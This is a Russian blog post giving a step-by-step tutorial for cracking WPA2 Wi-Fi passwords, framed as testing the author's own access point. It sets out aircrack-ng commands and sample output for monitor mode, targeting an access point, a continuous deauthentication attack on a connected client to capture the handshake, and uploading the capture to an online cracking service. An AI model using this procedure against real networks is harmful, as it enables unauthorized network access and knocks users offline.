воскресенье, 19 октября 2014 г.

WPA2 WIFI hacking on Gentoo Linux

Сегодня в рубрике "Крякали софт, мы крякали", я расскажу одну маленькую историю из своего личного опыта.

Решил от нечего делать проверить свою точку доступа WIFI с WPA2 шифрованием  на стойкость.

Для начала все по порядку, что такое само WPA2 ? Говоря простыми словами, это матерый метод шифрования данных, передаваемых по беспроводной сети. Также есть еще WEP шифрование, его практически уже никто не использует. Уж больно просто взломать его.

Вернемся к WPA2.  Так вот, взломать его гораздо сложнее. Если и перехватывать пакеты, то из них ничего не извлечешь. А все почему? Да потому что метод шифрования слишком крут. И пока не будет известен пароль к сети, то и узнать ничего не получится. Ладно, не будем о грустном, все-таки его можно хакнуть.

Сидим мы значит на линуксах, я вот на генте, и поэтому ставлю нужное таким вот образом (в других дистрибутивах это может быть немного иначе)

 

# emerge aircrack-ng


Без всяких изменений во флагах. Стандартный набор тоже ок, ага.

После установки, начинается самое веселое.

Для начала нам нужно включить наш wifi-адаптер в режим мониторинга, чтобы смотреть за текущем состоянием других wifi-приемопередатчиков. Делается всё от рута!


# airmon-ng start wlp2s0

 

В выхлопе должно быть что-то вроде:

 

 wlp2s0        Intel 2101    iwlwifi - [phy0]
                (monitor mode enabled on mon0)

Самое главное здесь последняя строчка. Мол, адаптер теперь у нас в режиме монитора, и к нему можно обращаться как к mon0

Ну ок, работает да и фиг с ним.

Теперь адаптер мониторит, только пока не понятно за кем и как. Чтобы посмотреть чо как мониторится, достаточно вбить в сосоль:

 

# airodump-ng mon0

 

Должно получиться  что-то вроде такого: 

 

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                               
 81:CF:41:57:C9:2A   -29       81       28    3   6  54e  WPA2 CCMP   PSK  SkyNet                                               
                                                                                                                               
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                     
                                                                                                                               
 81:CF:41:57:C9:2A   46:6E:3E:4D:AE:E6    0    0e- 1e     0       19   
  

 

Немного матчасти. Здесь отображется куча всякой херни и всяких параметров. Не надо на них заострять внимание. Важны только последние строчки. Данный выхлоп в сосоле представляет собой некую таблицу. Та вот, BSSID - точки доступа, а STATION - подключеные клиенты к точкам. Если кому-то еще хочется что-то узнать, то знания эти будут не особо полезные. Да и в гугле все есть.

Вообще, зачем мы это все затеяли? Все просто, нам нужно словить handshake. С английского это переводится как "рукожопие", а если серьезно, то "рукопожатие". Вот в этом самом хэндшейке и должен быть желаемый пароль. Который еще придется достать, но об этом позже.

Выбираем нашу жертву

Внесем немного ясности. У каждой точки есть свой идентификатор. Называется он SSID, и бычно он выглядит примерно так 81:CF:41:57:C9:2A т.е. как MAC-адрес, и в вообще-то это он и есть. Ладно, не суть. Точно также и у пользователей подключенных к точкам - отображаются их МАС-адреса.

Я  вот никогда не любил фильмы про терминаторов, поэтому это будет SkyNet. Чтобы следить за данной точкой, надо ввести в сосоль следующее:


# airodump-ng mon0 --bssid  81:CF:41:57:C9:2A -w wpa2

 

(данный процесс не завершать, дабы мониторить все как надо. Посему рекомендуется открывать новые задачи в новых в кладках терминала)

Теперь немного матчасти:

airodump-ng - тулза следящая

mon0 - интерфейс для слежки

--bssid - указание конкретной точки

-w wpa2 - все данные будут записываться в файлы wpa2*** и airodump-ng будет срать этими файлами прямо в хомячка (/home/user).

Больше всего интересен файл wpa2*.cap вот в нем-то и будет наш долгожданный хэндшейк.


А теперь собственно смотрим, что же дает в виде выхлопа данная команда. В общем, можно сидеть и долго ждать, пока кто-нибудь начнет коннектится к точке, чтобы словить наш горячолюбимый handshake. (В терминале в верхнем правом углу должна появиться надпись:

[ WPA handshake: 81:CF:41:57:C9:2A )

А можно пойти простым путем, и атаковать пользователей определнной точке. Для начала нам надо его выбрать. Вот у моей точки, один пользователь. Поэтому список маленький, и скрестив пальцы начнем атаковать его. Для этого в новой вкладке терминала вбиваем:

 

#  aireplay-ng --ignore-negative-one mon0 -0 0 -a 81:CF:41:57:C9:2A -c 46:6E:3E:4D:AE:E6

 

Теперь и тут немного матчасти. Куда ж нам без неё!

Ладно, шутки в сторону.

aireplay-ng - говоря научным языком, это пакетный инжектор. Ну, тут все понятно, что нифига не понятно. Простыми словами, эта тулза поможет дропать пакеты от то юзака к точке доступа. И если их будет потеряно большое множество, то будет выполнено переподключение. Ну и тут мы хапнем наш хэндшейк.

Теперь погнали по опциям:

--ignore-negative-one - мне пришлось  его использовать. Название говорит само за себя.

mon0 - интерфейс сделанный ранее.

-0 0  - количество атак. Если поставить 5 или любое другое рандомное число. То столько и будет, ну а если ноль поставить, то будет долбить постоянно. Поэтому и рекомендуется открыть в новой вкладке, чтобы потом остановить данное действие.

-a 81:CF:41:57:C9:2A - указываем конкретную точку доступа (в предыдущем терменале обозначен как BSSID).

-c 46:6E:3E:4D:AE:E6 - aтакуемая жертва (в предыдущем терменале обозначен как STATION).

Если все правильно восле данной команды пойдет выхлоп, причем очень большой.  И переключаемся на соседнюю вкладку (там где мы запускали airodump-ng к конкретной точке), и там рыбачим хэндшейк.

Смотрим в верхний правый угол. Если появилась надпись [ WPA handshake: 81:CF:41:57:C9:2A то все, он уже сохранен в файле.

У меня это был файл wpa2-01.cap И чтобы не было сомнений, что данный файл содержит хэндшейк, проверить можно командой:

 

# aircrack-ng wpa2-01.cap

 

В выхлопе должно быть нечто вроде:

 

Opening wpa2-01.cap
Read 548 packets.

   #  BSSID              ESSID                     Encryption

   1  80:CF:41:67:C9:3A  SkyNet                    WPA (1 handshake)

Choosing first network as target.

Opening wpa2-01.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...
 

 

Думашь все? Ага, щас! теперь только можно завершить все процессы, и закрыть кучу вкладок в терминале. Ну и приступить к расшифрованию самого файла с хэндшейком.

Можно скачать словарь, и пробовать самому расшифровывать. А можно пойти на сайт  wpa-sec.stanev.org, и при помощи связки видеоккарт работающих с 15-ю славарями, все это дело расшифровать. Что собственно говоря и надо делать.

В первую очередь необходимо пройти регистрацию, иначе после расшифровки заветеный пас не увидишь. Зарегаться нужно по этому линку

Вводим мыло и капчу. На почту упадет письмецо с ключем. (я не вводил, у меня автоматом сгенерировался ключ, и сразу ввелся сам. Все само, лол) Его вводим в поле Key и там он сохраняется. Вот такая простая регистрация. Просто набор рандомных цифр и букв, но об этом как-нибудь потом.

Далее жмем на пимпу Submit и загружаем наш файл wpa2-01.cap

После отгрузки файла, жмем на My nets и эфпячим результат. Т.е. жмем F5, через неопределенное время будет результат. У меня выуживание пасворда заняло 10 минут времени, я успел приготовить чашечку кофи, и получить долгожданный пасворд.

Вот собственно всё. Данная статья лишь для ознакомления о походах пьяного гентушника на свою точку. На это всё. Пока!

Комментариев нет:

Отправить комментарий